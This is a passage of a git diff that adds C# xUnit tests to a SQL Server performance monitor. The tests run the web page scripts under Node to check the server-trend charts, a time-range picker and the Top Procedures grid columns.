+/// What the web CPU and Memory tabs' get_server_trend panels draw, from the shipped <c>server-tabs.js</c> run under Node
+/// (<c>web-server-trends-harness.mjs</c>) against a scripted <c>/api/read</c>: the series and unit of each chart, the
+/// clerk selector's defaults, its state across a rebuild, the clerk types the read could not find, and an empty answer.
+/// Node is skipped when it is not installed.
+/// </summary>
+public sealed class WebServerTrendsBehaviourTests
+{
+    private static JsonElement Run(string scenario)
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-server-trends-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the server-trends harness did not finish in 20 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the server-trends harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            var result = doc.RootElement.Clone();
+            Assert.Empty(result.GetProperty("rejections").EnumerateArray());
+            return result;
+        }
+    }
+
+    private static string[] Strings(JsonElement array) => array.EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+    private static readonly string[] FirstFive =
+    {
+        "MEMORYCLERK_SQLBUFFERPOOL", "CACHESTORE_SQLCP", "CACHESTORE_OBJCP", "OBJECTSTORE_LOCK_MANAGER", "MEMORYCLERK_SQLQERESERVATIONS",
+    };
+
+    [Fact]
+    public void TheCpuSchedulerTrend_DrawsRunnableBlockedAndQueued_FromOneAbortableRead_WithTheDiscontinuityNotice()
+    {
+        var r = Run("cpu");
+        Assert.Equal(new[] { "Runnable Tasks", "Blocked Tasks", "Queued Requests" }, Strings(r.GetProperty("chart").GetProperty("labels")));
+        Assert.Equal("tasks", r.GetProperty("chart").GetProperty("unit").GetString());
+        var read = Assert.Single(r.GetProperty("reads").EnumerateArray());
+        Assert.Equal("cpu_scheduler", read.GetProperty("metric").GetString());
+        Assert.Equal("24", read.GetProperty("hours").GetString());
+        Assert.True(r.GetProperty("signals")[0].GetBoolean());
+        Assert.Contains("baseline discontinuity at", Strings(r.GetProperty("notices")).Single());
+    }
+
+    [Fact]
+    public void ThePlanCacheTrend_DrawsSingleUseAndMultiUseInMb()
+    {
+        var r = Run("plan");
+        Assert.Equal(new[] { "Single-Use", "Multi-Use" }, Strings(r.GetProperty("chart").GetProperty("labels")));
+        Assert.Equal("MB", r.GetProperty("chart").GetProperty("unit").GetString());
+        Assert.Equal("plan_cache", Assert.Single(r.GetProperty("reads").EnumerateArray()).GetProperty("metric").GetString());
+        Assert.Empty(r.GetProperty("notices").EnumerateArray());
+    }
+
+    [Fact]
+    public void TheClerkTrend_ChecksTheHeaviestFiveFirst_AndNamesThemInOneRead()
+    {
+        var r = Run("clerks");
+        Assert.Equal(FirstFive, Strings(r.GetProperty("checked")));
+        Assert.Equal(7, r.GetProperty("listed").GetInt32());
+        var read = Assert.Single(r.GetProperty("reads").EnumerateArray());
+        Assert.Equal("memory_clerks", read.GetProperty("metric").GetString());
+        Assert.Equal(string.Join(",", FirstFive), read.GetProperty("clerk_types").GetString());
+        Assert.Equal(FirstFive, Strings(r.GetProperty("chart").GetProperty("labels")));
+        Assert.Equal("MB", r.GetProperty("chart").GetProperty("unit").GetString());
+    }
+
+    [Fact]
+    public void TheClerkChoices_SurviveARebuildForTheSameServer_AndStartFreshForAnother()
+    {
+        var r = Run("survives");
+        var rebuilt = Strings(r.GetProperty("rebuilt"));
+        Assert.DoesNotContain("CACHESTORE_SQLCP", rebuilt);
+        Assert.Contains("MEMORYCLERK_XE", rebuilt);
+        Assert.Equal(FirstFive, Strings(r.GetProperty("other")));
+        Assert.Equal(string.Join(",", rebuilt), r.GetProperty("lastRead").GetProperty("clerk_types").GetString());
+    }
+
+    [Fact]
+    public void ClerkTypesTheReadCouldNotFind_AreShown_AndTheRestStillChart()
+    {
+        var r = Run("missing");
+        Assert.Contains("No samples in this window for: CACHESTORE_OBJCP.", Strings(r.GetProperty("notices")));
+        Assert.DoesNotContain("CACHESTORE_OBJCP", Strings(r.GetProperty("chart").GetProperty("labels")));
+        Assert.Equal(4, r.GetProperty("chart").GetProperty("labels").GetArrayLength());
+    }
+
+    [Fact]
+    public void WhenNoNamedClerkHasSamples_TheHintsListsAreShownAsText()
+    {
+        var r = Run("allMissing");
+        Assert.Contains(Strings(r.GetProperty("notices")), n => n.StartsWith("No samples in this window for: MEMORYCLERK_SQLBUFFERPOOL"));
+        Assert.Contains("Heaviest clerks in this window: CLERK_ALPHA, CLERK_BETA.", Strings(r.GetProperty("notes")));
+        Assert.Equal(JsonValueKind.Null, r.GetProperty("chart").ValueKind);
+    }
+
+    [Fact]
+    public void TheClerkPicker_SaysClerk_AndItsDefaultsButtonChecksTheHeaviestFive()
+    {
+        var r = Run("clerkPicker");
+        Assert.Contains("Top clerks", Strings(r.GetProperty("buttons")));
+        Assert.DoesNotContain("Top waits", Strings(r.GetProperty("buttons")));
+        Assert.Equal(FirstFive, Strings(r.GetProperty("before")));
+        Assert.Empty(r.GetProperty("cleared").EnumerateArray());
+        Assert.Equal(FirstFive, Strings(r.GetProperty("afterTop")));
+        Assert.Equal("No clerk matches the search.", Strings(r.GetProperty("noMatch")).Single());
+    }
+
+    [Fact]
+    public void AnEmptyAnswer_ShowsTheReadsMessage_NotAChart()
+    {
+        foreach (var scenario in new[] { "emptyCpu", "emptyClerks" })
+        {
+            var r = Run(scenario);
+            Assert.Equal(JsonValueKind.Null, r.GetProperty("chart").ValueKind);
+            Assert.Contains("recorded in the last 24 hour(s)", Strings(r.GetProperty("empties")).Single());
+        }
+    }
+
+    [Fact]
+    public void WithNoClerkSnapshot_NoTrendReadIsSent()
+    {
+        var r = Run("noClerks");
+        Assert.Empty(r.GetProperty("reads").EnumerateArray());
+        Assert.Single(Strings(r.GetProperty("empties")));
+    }
+}
diff --git a/Darling/Darling.Tests/WebServerTrendsPageTests.cs b/Darling/Darling.Tests/WebServerTrendsPageTests.cs
new file mode 100644
index 0000000000..912509b0ec
--- /dev/null
+++ b/Darling/Darling.Tests/WebServerTrendsPageTests.cs
@@ -0,0 +1,78 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>Source pins for the web CPU and Memory tabs' get_server_trend panels: the read names and params, and where each panel sits.</summary>
+public sealed class WebServerTrendsPageTests
+{
+    private static string Js() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js").ReplaceLineEndings("\n");
+
+    private static string Between(string source, string from, string to)
+    {
+        var start = source.IndexOf(from, System.StringComparison.Ordinal);
+        Assert.True(start >= 0, from);
+        var end = source.IndexOf(to, start + from.Length, System.StringComparison.Ordinal);
+        Assert.True(end > start, to);
+        return source[start..end];
+    }
+
+    [Fact]
+    public void TheCpuTab_DrawsTheSchedulerTrend()
+    {
+        var cpu = Between(Js(), "    id: \"cpu\",", "    id: \"memory\",");
+        Assert.Contains("serverTrendPanel(server, ctx, \"cpu_scheduler\")", cpu);
+    }
+
+    [Fact]
+    public void TheMemoryTab_DrawsTheClerksAndPlanCacheTrends()
+    {
+        var memory = Between(Js(), "    id: \"memory\",", "      ...memoryPressurePanels(server, ctx),");
+        Assert.Contains("memoryClerksTrendPanel(server, ctx)", memory);
+        Assert.Contains("serverTrendPanel(server, ctx, \"plan_cache\")", memory);
+    }
+
+    [Fact]
+    public void EveryTrendRead_GoesThroughTheKeptHistoryRead_WithTheRangeAndTheSignal()
+    {
+        var js = Js();
+        var panel = Between(js, "export function serverTrendPanel(", "const MAX_CLERKS_CHARTED");
+        Assert.Contains("readToolWithinKeptHistory(\"get_server_trend\", { server, metric: spec.metric, hours: ctx.hours }, ctx && ctx.signal)", panel);
+        var clerks = Between(js, "export function memoryClerksTrendPanel(", "export async function drawClerkTrends(");
+        Assert.Contains("readToolWithinKeptHistory(\"get_memory_clerks\", { server }, ctx && ctx.signal)", clerks);
+        var draw = Between(js, "export async function drawClerkTrends(", "export function memoryPressurePanels(");
+        Assert.Contains("\"get_server_trend\",", draw);
+        Assert.Contains("{ server, metric: \"memory_clerks\", hours: ctx.hours, clerk_types: clerkTypes.join(\",\") }", draw);
+        Assert.Contains("discontinuityNotes(trend.data)", draw);
+        Assert.Contains("missing_clerk_types", draw);
+    }
+
+    [Fact]
+    public void TheClerkSelector_IsTheSharedPicker_CappedAtTheReadsTenClerkTypes_KeyedByServer()
+    {
+        var js = Js();
+        Assert.Contains("const MAX_CLERKS_CHARTED = 10;", js);
+        var clerks = Between(js, "export function memoryClerksTrendPanel(", "export async function drawClerkTrends(");
+        Assert.Contains("const key = \"clerks|\" + server;", clerks);
+        Assert.Contains("max: MAX_CLERKS_CHARTED,", clerks);
+        Assert.Contains("multiPicker({", clerks);
+    }
+
+    [Fact]
+    public void TheTrendCharts_AreZoomable_AndRenderNoInnerHtml()
+    {
+        var js = Js();
+        var section = Between(js, "const SERVER_TRENDS = {", "export function memoryPressurePanels(");
+        Assert.Contains("zoomableLineChart(", section);
+        Assert.DoesNotContain("innerHTML", section);
+    }
+}
diff --git a/Darling/Darling.Tests/WebTimeRangeTests.cs b/Darling/Darling.Tests/WebTimeRangeTests.cs
new file mode 100644
index 0000000000..7b16c4402a
--- /dev/null
+++ b/Darling/Darling.Tests/WebTimeRangeTests.cs
@@ -0,0 +1,320 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The web time range picker (#5562) under Node, skipped where Node is not installed. The grammar module
+/// (<c>wwwroot/js/time-range.js</c>) runs every row of the shared fixture the C# parser runs
+/// (<c>Fixtures/time-range-cases.json</c>), so the two cannot drift. The picker's DOM
+/// (<c>time-range-picker.js</c>) runs in a stand-in DOM, and the server page's use of it runs through the kept-history harness.
+/// </summary>
+public sealed class WebTimeRangeTests
+{
+    private static readonly string s_jsDir = PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js");
+
+    /// <summary>Runs a harness script and parses the one line of JSON it prints; skips when Node is missing.</summary>
+    private static bool TryRunNode(string script, out JsonElement result, params string[] args)
+    {
+        result = default;
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", script));
+        foreach (var arg in args)
+        {
+            psi.ArgumentList.Add(arg);
+        }
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return false;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(30000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the harness " + script + " did not finish in 30 s");
+            }
+
+            Assert.True(proc.ExitCode == 0, "the harness " + script + " failed: " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            result = doc.RootElement.Clone();
+            return true;
+        }
+    }
+
+    /// <summary>Every row of the shared fixture, through the web module: start, end, live, the echo text and the error code.</summary>
+    [Fact]
+    public void TheWebModule_RunsEveryRowOfTheSharedFixture()
+    {
+        var fixturePath = PathTo("Darling", "Darling.Tests", "Fixtures", "time-range-cases.json");
+        if (!TryRunNode("time-range-harness.mjs", out var r, s_jsDir, fixturePath)) return;
+
+        using var fixture = JsonDocument.Parse(System.IO.File.ReadAllText(fixturePath));
+        var rows = fixture.RootElement.GetProperty("cases").GetArrayLength();
+        Assert.True(rows >= 100, "The shared fixture has " + rows + " rows; it held 100 when the web module was written.");
+        Assert.Equal(rows, r.GetProperty("total").GetInt32());
+        Assert.Equal(fixture.RootElement.GetProperty("minimumSpanMinutes").GetInt32(), r.GetProperty("minimumSpanMinutes").GetInt32());
+
+        var failures = r.GetProperty("failures").EnumerateArray().Select(e => e.GetString()!).ToArray();
+        Assert.True(failures.Length == 0, failures.Length + " fixture rows differ in the web module:\n" + string.Join("\n", failures.Take(20)));
+        Assert.Equal(rows, r.GetProperty("passed").GetInt32());
+    }
+
+    private static string[] Strings(JsonElement node, string name) =>
+        node.GetProperty(name).EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+    /// <summary>The closed picker: the button names the range, the resolved start, end and zone sit beside it, and the reads get a
+    /// whole-hours window.</summary>
+    [Fact]
+    public void TheClosedPicker_NamesTheRange_AndShowsTheResolvedStartEndAndZone()
+    {
+        if (!TryRunNode("time-range-picker-harness.mjs", out var r, s_jsDir)) return;
+
+        var closed = r.GetProperty("closed");
+        Assert.Equal("Past day", closed.GetProperty("button").GetString());
+        Assert.Equal("Oct 7, 7:01 am - Oct 8, 7:01 am (UTC-04:00)", closed.GetProperty("detail").GetString());
+        Assert.Equal("Time range: Past day, Oct 7, 7:01 am - Oct 8, 7:01 am (UTC-04:00)", closed.GetProperty("ariaLabel").GetString());
+        Assert.Equal("false", closed.GetProperty("expanded").GetString());
+        Assert.Equal("dialog", closed.GetProperty("haspopup").GetString());
+        Assert.Equal(24, closed.GetProperty("windowHours").GetInt32());
+        Assert.Equal(JsonValueKind.Null, closed.GetProperty("windowAsOf").ValueKind);
+    }
+
+    /// <summary>The popup lists the nine short presets and the eight calendar periods with their current lengths, greys out what is
+    /// longer than the reach with the reason, and carries accessible names.</summary>
+    [Fact]
+    public void TheOpenPopup_ListsEveryPresetAndPeriod_AndGreysOutWhatTheReadsCannotReach()
+    {
+        if (!TryRunNode("time-range-picker-harness.mjs", out var r, s_jsDir)) return;
+
+        var open = r.GetProperty("open");
+        Assert.Equal("true", open.GetProperty("expanded").GetString());
+        Assert.Equal("dialog", open.GetProperty("role").GetString());
+        Assert.Equal("Time range options", open.GetProperty("dialogLabel").GetString());
+        Assert.Equal("Type a time range", open.GetProperty("textLabel").GetString());
+        Assert.Equal(new[] { "Range start", "Range end" }, Strings(open, "pickLabels"));
+        Assert.True(open.GetProperty("focusedText").GetBoolean());
+        Assert.Equal(1, open.GetProperty("documentMousedownListeners").GetInt32());
+        Assert.Equal("2026-10-07T07:01", open.GetProperty("from").GetString());
+        Assert.Equal("2026-10-08T07:01", open.GetProperty("to").GetString());
+
+        var names = open.GetProperty("items").EnumerateArray().Select(i => i.GetProperty("name").GetString()).ToArray();
+        Assert.Equal(
+            new[]
+            {
+                "Past 5 minutes", "Past 15 minutes", "Past 30 minutes", "Past hour", "Past 4 hours", "Past day", "Past 2 days", "Past week", "Past 30 days",
+                "Today", "Yesterday", "Week to Date", "Previous Week", "Month to Date", "Previous Month", "Year to Date", "Previous Year",
+            },
+            names);
+
+        /* At Oct 8 7:01 am the week so far is 3d, last week is exactly the 7 days the reads reach, and everything longer is greyed out. */
+        var lengths = open.GetProperty("items").EnumerateArray().ToDictionary(i => i.GetProperty("name").GetString()!, i => i.GetProperty("length").GetString());
+        Assert.Equal("7h 1m", lengths["Today"]);
+        Assert.Equal("1d", lengths["Yesterday"]);
+        Assert.Equal("3d", lengths["Week to Date"]);
+        Assert.Equal("7d", lengths["Previous Week"]);
+        var disabled = Strings(open, "disabled").Select(d => d.Split(" | ")[0]).ToArray();
+        Assert.Equal(new[] { "Past 30 days", "Month to Date", "Previous Month", "Year to Date", "Previous Year" }, disabled);
+        Assert.All(Strings(open, "disabled"), d => Assert.Contains("reach at most 7 days", d));
+        Assert.Contains(open.GetProperty("items").EnumerateArray(), i => i.GetProperty("name").GetString() == "Past day" && i.GetProperty("pressed").GetString() == "true");
+    }
+
+    /// <summary>Typing shows the parsed range before Apply; Enter applies; a range under five minutes, past the reach, or nonsense is
+    /// refused with the reason, Apply is disabled and Enter does nothing.</summary>
+    [Fact]
+    public void TheTextBox_PreviewsBeforeApply_AppliesOnEnter_AndRefusesWithTheReason()
+    {
+        if (!TryRunNode("time-range-picker-harness.mjs", out var r, s_jsDir)) return;
+
+        var ok = r.GetProperty("typedOk");
+        Assert.Equal("45m  Oct 8, 6:16 am - Oct 8, 7:01 am (UTC-04:00)", ok.GetProperty("preview").GetString());
+        Assert.Contains("trp-ok", ok.GetProperty("previewClass").GetString());
+        Assert.False(ok.GetProperty("applyDisabled").GetBoolean());
+
+        var applied = r.GetProperty("typedApplied");
+        var change = Assert.Single(applied.GetProperty("changes").EnumerateArray());
+        Assert.Equal("45m", change.GetProperty("id").GetString());
+        Assert.Equal("Past 45 minutes", applied.GetProperty("button").GetString());
+        Assert.False(applied.GetProperty("open").GetBoolean());
+        Assert.Equal(0, applied.GetProperty("docListeners").GetInt32());
+        /* A sub-hour range is read as the whole hour that holds it, live (no end time), and trimmed by the page. */
+        Assert.Equal(1, applied.GetProperty("window").GetProperty("hours").GetInt32());
+        Assert.Equal(JsonValueKind.Null, applied.GetProperty("window").GetProperty("asOf").ValueKind);
+
+        Assert.Equal("That range is only 3m long. The shortest range is 5 minutes.", r.GetProperty("tooShort").GetProperty("preview").GetString());
+        Assert.True(r.GetProperty("tooShort").GetProperty("applyDisabled").GetBoolean());
+        Assert.Equal("This page's reads reach at most 7 days back.", r.GetProperty("tooLong").GetProperty("preview").GetString());
+        Assert.Contains("trp-error", r.GetProperty("nonsense").GetProperty("previewClass").GetString());
+        Assert.True(r.GetProperty("nonsense").GetProperty("applyDisabled").GetBoolean());
+        Assert.True(r.GetProperty("empty").GetProperty("applyDisabled").GetBoolean());
+        Assert.Equal(0, r.GetProperty("refusedChanges").GetInt32());
+        Assert.True(r.GetProperty("stillOpen").GetBoolean());
+    }
+
+    /// <summary>Esc closes the popup from the text box and returns focus to the button; a press outside closes it without a change,
+    /// one inside does not; the document listener exists only while the popup is open.</summary>
+    [Fact]
+    public void TheKeyboardAndFocus_EscClosesAndReturnsFocus_AndTheDocumentListenerGoesWithThePopup()
+    {
+        if (!TryRunNode("time-range-picker-harness.mjs", out var r, s_jsDir)) return;
+
+        var esc = r.GetProperty("escape");
+        Assert.False(esc.GetProperty("open").GetBoolean());
+        Assert.True(esc.GetProperty("focusOnButton").GetBoolean());
+        Assert.Equal("false", esc.GetProperty("expanded").GetString());
+        Assert.Equal(0, esc.GetProperty("popups").GetInt32());
+        Assert.Equal(0, esc.GetProperty("docListeners").GetInt32());
+
+        var outside = r.GetProperty("outside");
+        Assert.True(outside.GetProperty("stillOpenAfterInside").GetBoolean());
+        Assert.False(outside.GetProperty("openAfterOutside").GetBoolean());
+        Assert.Equal(0, outside.GetProperty("changes").GetInt32());
+        Assert.Equal(0, outside.GetProperty("docListeners").GetInt32());
+    }
+
+    /// <summary>A preset applies at once, a greyed-out one does nothing, a calendar period holds its spec; the date boxes write the
+    /// typed form and preview it.</summary>
+    [Fact]
+    public void ThePresetsAndThePick_ApplyHoldAndPreview()
+    {
+        if (!TryRunNode("time-range-picker-harness.mjs", out var r, s_jsDir)) return;
+
+        var presets = r.GetProperty("presets");
+        Assert.Equal("Past 15 minutes", presets.GetProperty("afterPreset").GetProperty("button").GetString());
+        Assert.Equal("15m", Assert.Single(presets.GetProperty("afterPreset").GetProperty("changes").EnumerateArray()).GetProperty("id").GetString());
+        Assert.Equal(1, presets.GetProperty("afterDisabled").GetProperty("changes").GetInt32());
+        Assert.True(presets.GetProperty("afterDisabled").GetProperty("open").GetBoolean());
+        var period = presets.GetProperty("afterPeriod");
+        Assert.Equal("Previous Week", period.GetProperty("button").GetString());
+        Assert.Equal("Sep 28, 12:00 am - Oct 5, 12:00 am (UTC-04:00)", period.GetProperty("detail").GetString());
+        Assert.Equal(168, period.GetProperty("window").GetProperty("hours").GetInt32());
+        Assert.Equal("2026-10-05T04:00:00.000Z", period.GetProperty("window").GetProperty("asOf").GetString());
+
+        var picked = r.GetProperty("picked");
+        Assert.Equal("2026-10-01 13:00 - 2026-10-01 15:00", picked.GetProperty("text").GetString());
+        Assert.Equal("2h  Oct 1, 1:00 pm - Oct 1, 3:00 pm (UTC-04:00)", picked.GetProperty("preview").GetString());
+
+        // Review r1 M3: moving only the start of a live range leaves the end as "now", so the range keeps refreshing; typing an end fixes it.
+        var liveEnd = r.GetProperty("liveEnd");
+        Assert.Equal("2026-10-08 05:00 - now", liveEnd.GetProperty("startOnly").GetString());
+        Assert.Equal("2026-10-08 05:00 - 2026-10-08 07:00", liveEnd.GetProperty("edited").GetString());
+
+        // Review r1 M2: an end at or after now is a live range ending now (no as_of); one in the past keeps its as_of.
+        var futureEnd = r.GetProperty("futureEnd");
+        Assert.True(futureEnd.GetProperty("future").GetProperty("live").GetBoolean());
+        Assert.Equal(JsonValueKind.Null, futureEnd.GetProperty("future").GetProperty("asOf").ValueKind);
+        Assert.Equal(3, futureEnd.GetProperty("future").GetProperty("hours").GetInt32());
+        Assert.False(futureEnd.GetProperty("past").GetProperty("live").GetBoolean());
+        Assert.NotEqual(JsonValueKind.Null, futureEnd.GetProperty("past").GetProperty("asOf").ValueKind);
+
+        // Review r2 M1: a fixed range that starts in the future is refused with its reason, Apply stays off and nothing is held.
+        var futureStart = r.GetProperty("futureStart");
+        Assert.Equal("That range has not started yet.", futureStart.GetProperty("preview").GetString());
+        Assert.True(futureStart.GetProperty("applyDisabled").GetBoolean());
+        Assert.Equal(0, futureStart.GetProperty("changes").GetInt32());
+    }
+
+    /// <summary>Compact moves the detail into the tooltip; the sample-interval note shows when the span holds fewer than three samples;
+    /// select() refuses a range the page cannot take; the catalog's
+    /// max_hours is the reach; a live range slides on refresh.</summary>
+    [Fact]
+    public void TheNotesTheReachAndTheClock_FollowTheirInputs()
+    {
+        if (!TryRunNode("time-range-picker-harness.mjs", out var r, s_jsDir)) return;
+
+        Assert.Equal(string.Empty, r.GetProperty("compact").GetProperty("detail").GetString());
+        Assert.Equal("Past day, Oct 7, 7:01 am - Oct 8, 7:01 am (UTC-04:00)", r.GetProperty("compact").GetProperty("title").GetString());
+        Assert.Equal("Data here is collected every 5 minutes.", r.GetProperty("notes").GetProperty("short").GetString());
+
+        var select = r.GetProperty("select");
+        Assert.Contains("7 days", select.GetProperty("tooLong").GetString());
+        Assert.Contains("shortest range is 5 minutes", select.GetProperty("tooShort").GetString());
+        Assert.Equal(JsonValueKind.Null, select.GetProperty("ok").ValueKind);
+        Assert.Equal(new[] { "1h" }, Strings(select, "changes"));
+
+        var reach = r.GetProperty("reach");
+        Assert.Equal(2160, reach.GetProperty("reach").GetInt32());
+        Assert.Equal(300000, reach.GetProperty("interval").GetInt32());
+        Assert.Equal(JsonValueKind.Null, reach.GetProperty("noInterval").ValueKind);
+        Assert.Equal(168, reach.GetProperty("none").GetInt32());
+        Assert.Equal(168, reach.GetProperty("absent").GetInt32());
+        Assert.Equal(new[] { "Year to Date", "Previous Year" }, Strings(reach, "items"));
+
+        var slides = r.GetProperty("slides");
+        Assert.Equal("Oct 8, 6:01 am - Oct 8, 7:01 am (UTC-04:00)", slides.GetProperty("first").GetString());
+        Assert.Equal("Oct 8, 7:01 am - Oct 8, 8:01 am (UTC-04:00)", slides.GetProperty("second").GetString());
+        Assert.Equal("Previous Month", slides.GetProperty("afterSetSpec").GetString());
+        Assert.Equal("previous-month", slides.GetProperty("specId").GetString());
+    }
+
+    /// <summary>On the server page a range under an hour is fetched as the whole hour that holds it (the reads take integer hours) with
+    /// the range's end as <c>as_of</c>, then trimmed to the exact pair; the label says where the hour's totals begin.</summary>
+    [Fact]
+    public void ARangeUnderAnHour_IsFetchedAsTheWholeHourAndTrimmedToTheExactPair()
+    {
+        if (!WebRangeKeptHistoryBehaviourTests.TryRun("pickerSubHour", out var r)) return;
+
+        var found = r.GetProperty("found");
+        Assert.Equal(JsonValueKind.Null, found.GetProperty("err").ValueKind);
+        Assert.Equal(1, found.GetProperty("hours").GetInt32());
+        Assert.True(found.GetProperty("custom").GetBoolean());
+        Assert.Equal("/api/read/get_cpu_utilization?server=SRV1&hours=1&as_of=2026-01-02T10%3A30%3A00.000Z", Assert.Single(Strings(found, "reads")));
+        /* The five rows run 06:00 to 11:00; the picked 10:00 to 10:30 holds the 10:00 row only. */
+        Assert.Equal(1, found.GetProperty("rows").GetInt32());
+        Assert.Contains("totals and rankings aggregate from", found.GetProperty("label").GetString());
+    }
+
+    /// <summary>Every preset and calendar period, held for a server: the whole-hour presets within the reach are the page's own range
+    /// (no trimming), the sub-hour presets and the periods are custom ranges, and what is longer than 7 days is refused and leaves the
+    /// range as it was.</summary>
+    [Fact]
+    public void EveryPresetAndPeriod_IsHeldOrRefusedByTheServerPage()
+    {
+        if (!WebRangeKeptHistoryBehaviourTests.TryRun("pickerPresetsLocal:America/New_York", out var r)) return;
+
+        var found = r.GetProperty("found");
+        foreach (var id in new[] { "1h", "4h", "1d", "2d", "1w" })
+        {
+            Assert.Equal(JsonValueKind.Null, found.GetProperty(id).GetProperty("err").ValueKind);
+            Assert.False(found.GetProperty(id).GetProperty("custom").GetBoolean(), id + " is a whole-hour preset and needs no trimming.");
+        }
+
+        Assert.Equal(48, found.GetProperty("2d").GetProperty("hours").GetInt32());
+        Assert.Equal("last 7 days", found.GetProperty("1w").GetProperty("label").GetString());
+        foreach (var id in new[] { "5m", "15m", "30m", "today", "yesterday", "week-to-date", "previous-week" })
+        {
+            Assert.Equal(JsonValueKind.Null, found.GetProperty(id).GetProperty("err").ValueKind);
+            Assert.True(found.GetProperty(id).GetProperty("custom").GetBoolean(), id + " is fetched as whole hours and trimmed.");
+        }
+
+        Assert.Equal(1, found.GetProperty("5m").GetProperty("hours").GetInt32());
+        Assert.Equal(1, found.GetProperty("30m").GetProperty("hours").GetInt32());
+        Assert.Equal(168, found.GetProperty("previous-week").GetProperty("hours").GetInt32());
+        foreach (var id in new[] { "1mo", "month-to-date", "previous-month", "year-to-date", "previous-year" })
+        {
+            Assert.Contains("7 days", found.GetProperty(id).GetProperty("err").GetString());
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/WebTopProceduresColumnsTests.cs b/Darling/Darling.Tests/WebTopProceduresColumnsTests.cs
new file mode 100644
index 0000000000..9e8312eacf
--- /dev/null
+++ b/Darling/Darling.Tests/WebTopProceduresColumnsTests.cs
@@ -0,0 +1,163 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Source pins for the web Top Procedures grid: it shows the desktop grid's columns in the desktop's order, every column
+/// key is a field the read can return, the columns are grouped with the core set always on, both grids ask for the full
+/// detail, and the aggregate selects the detail columns the reader maps by position.
+/// </summary>
+public sealed class WebTopProceduresColumnsTests
+{
+    private static string Tab() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js")
+            .ReplaceLineEndings("\n");
+
+    private static string Tools() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpDataTools.cs").ReplaceLineEndings("\n");
+
+    private static string ColumnsBlock()
+    {
+        var tab = Tab();
+        var start = tab.IndexOf("const TOP_PROC_COLUMNS = [", StringComparison.Ordinal);
+        Assert.True(start >= 0, "TOP_PROC_COLUMNS not found");
+        return tab[start..tab.IndexOf("\n];", start, StringComparison.Ordinal)];
+    }
+
+    private static List<string> Keys() =>
+        Regex.Matches(ColumnsBlock(), "\\bkey: \"([a-z_]+)\"").Select(m => m.Groups[1].Value).ToList();
+
+    /// <summary>Every field name the read can put on a row: the base projection plus the detail fields.</summary>
+    private static HashSet<string> ReadFields()
+    {
+        var src = Tools();
+        /* #5226: the row projection lives in the ranked sibling the web dispatch calls; the MCP tool delegates to it. */
+        var start = src.IndexOf("internal static async Task<string> GetTopProceduresRanked(", StringComparison.Ordinal);
+        var seg = src[start..];
+        var sel = seg.IndexOf("rows.Select(r =>", StringComparison.Ordinal);
+        var close = seg.IndexOf("}, r.Detail,", sel, StringComparison.Ordinal);
+        Assert.True(sel >= 0 && close > sel, "row projection not found");
+        var fields = Regex.Matches(seg[sel..close], "^                ([a-z_]+) = ", RegexOptions.Multiline).Select(m => m.Groups[1].Value).ToHashSet();
+        var detail = src[src.IndexOf("private static JsonObject WithProcedureDetail", StringComparison.Ordinal)..];
+        detail = detail[..detail.IndexOf("return node;\n    }", StringComparison.Ordinal)];
+        foreach (Match m in Regex.Matches(detail, "Put\\(\"([a-z_]+)\""))
+        {
+            fields.Add(m.Groups[1].Value);
+        }
+
+        return fields;
+    }
+
+    [Fact]
+    public void EveryColumnKeyIsAFieldTheReadReturns()
+    {
+        var keys = Keys();
+        Assert.Empty(keys.Except(ReadFields()));
